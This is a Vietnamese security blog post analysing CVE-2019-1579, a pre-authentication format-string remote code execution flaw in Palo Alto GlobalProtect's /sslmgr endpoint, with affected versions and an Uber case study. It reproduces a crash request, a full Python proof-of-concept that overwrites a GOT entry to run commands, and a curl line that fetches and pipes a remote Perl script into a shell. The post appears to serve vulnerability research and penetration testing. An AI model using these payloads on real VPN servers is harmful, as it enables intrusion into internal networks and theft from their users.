SSL VPN liệu có an toàn? Tìm hiểu về lỗ hổng PreAuth RCE của Palo Alto

SSL VPN bảo vệ mạng nội bộ khỏi những cuộc tấn công trên Internet, nhưng điều gì xảy ra khi chính những dịch vụ SSL VPN lại chứa lỗ hổng bảo mật? Chúng có thể được truy cập qua Internet, là con đường được tin cậy dẫn tới mạng nội bộ của bạn. Khi một máy chủ SSL VPN bị chiếm quyền điều khiển, kẻ tấn công có thể xâm nhập vào mạng Intranet, thậm chí chiếm đoạt tất cả người dùng nết nối với máy chủ SSL VPN đó. Do tầm quan trọng của chúng, giờ đây càng ngày càng có nhiều nghiên cứu về bảo mật về các dịch vụ SSL VPN hiện có, trong đó Palo Alto là nhà cung cấp tôi chú ý nhất.

Vì sao lại là Palo Alto? Palo Alto với GlobalProtect là dịch vụ được khá nhiều các ngân hàng tại Việt Nam sử dụng. Vì vậy, việc tìm hiểu, nghiên cứu về những lỗ hổng của Palo Alto có thể giúp tôi cũng như VSEC thuận lợi trong quá trình kiểm thử bảo mật với những khách hàng là ngân hàng, tài chính.

Về lỗ hổng

Lỗ hổng mình nghiên cứu hôm nay là CVE-2019-1579, được tìm ra bởi Orange Tsai(@orange_8361) và Meh Chang(@mehqq_), là một lỗ hổng PreAuth RCE với thang điểm cve score là.

Một lỗ hổng format string đơn giản mà không cần xác thực. Sslmgr là cổng SSL xử lý các SSL handshake giữa máy chủ và máy khách. Daemon này có thể truy cập thông qua đường dẫn /sslmgr.

$ curl https://global-protect/sslmgr
<?xml version="1.0" encoding="UTF-8" ?>

<clientcert-response>
<status>error</status>
<msg>Invalid parameters</msg>
</clientcert-response>

Trong quá trình trích xuất tham số, daemon sẽ tìm kiếm chuỗi tên scep-profile-name và chuyển giá trị của nó dưới dạng định dạng snprintf để điền vào bộ đệm. Điều đó dẫn đến format string attack. Có thể làm crash dịch vụ với %n

POST /sslmgr HTTP/1.1
Host: global-protect
Content-Length: 36

scep-profile-name=%n%n%n%n%n…

Các phiên bản bị ảnh hưởng

Tất cả phiên bản GlobalProtect trước tháng bảy 2018 đều bị ảnh hưởng bởi lỗ hổng này! Danh sách các phiên bản bị ảnh hưởng:

  • Palo Alto GlobalProtect SSL VPN 7.1.x < 7.1.19
  • Palo Alto GlobalProtect SSL VPN 8.0.x < 8.0.12
  • Palo Alto GlobalProtect SSL VPN 8.1.x < 8.1.3

Các phiên bản 7.0.x và 9.x không bị ảnh hưởng bởi lỗ hổng này.

Thực hiện tấn công

Dưới đây là payload PoC của Orange Tsai và Meh Chang của lỗ hổng này:

#!/usr/bin/python
import requests
from pwn import *
url = "https://sslvpn/sslmgr"
cmd = "echo pwned > /var/appweb/sslvpndocs/hacked.txt"
strlen_GOT = 0x667788 # change me
system_plt = 0x445566 # change me
fmt = '%70$n'
fmt += '%' + str((system_plt>>16)&0xff) + 'c'
fmt += '%32$hn'
fmt += '%' + str((system_plt&0xffff)-((system_plt>>16)&0xff)) + 'c'
fmt += '%24$hn'
for i in range(40,60):
fmt += '%'+str(i)+'$p'
data = "scep-profile-name="
data += p32(strlen_GOT)[:-1]
data += "&appauthcookie="
data += p32(strlen_GOT+2)[:-1]
data += "&host-id="
data += p32(strlen_GOT+4)[:-1]
data += "&user-email="
data += fmt
data += "&appauthcookie="
data += cmd
r = requests.post(url, data=data)

Khi chạy thành công, sslmgr sẽ trở thành webshell với scep-profile-name là biến để inject command.
$ curl -d 'scep-profile-name=curl orange.tw/bc.pl | perl -' https://global-protect/sslmgr

Case study

Một trong những case study lớn nhất của Orange là Uber, qua nghiên cứu, Orange Tsai phát hiện Uber có khoảng 22 máy chủ sử dụng GlobalProtect trên thế giới. Qua kiểm tra một máy chủ của họ, Orange tim được phiên bản sử dụng là 8.x, một phiên bản chứa lỗ hổng này. Và đây là PoC:

b15daeb2-af33-4aa5-911d-8dd84e7d54a3-8626-0000054456e189f8_file.jpg
Reference: https://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html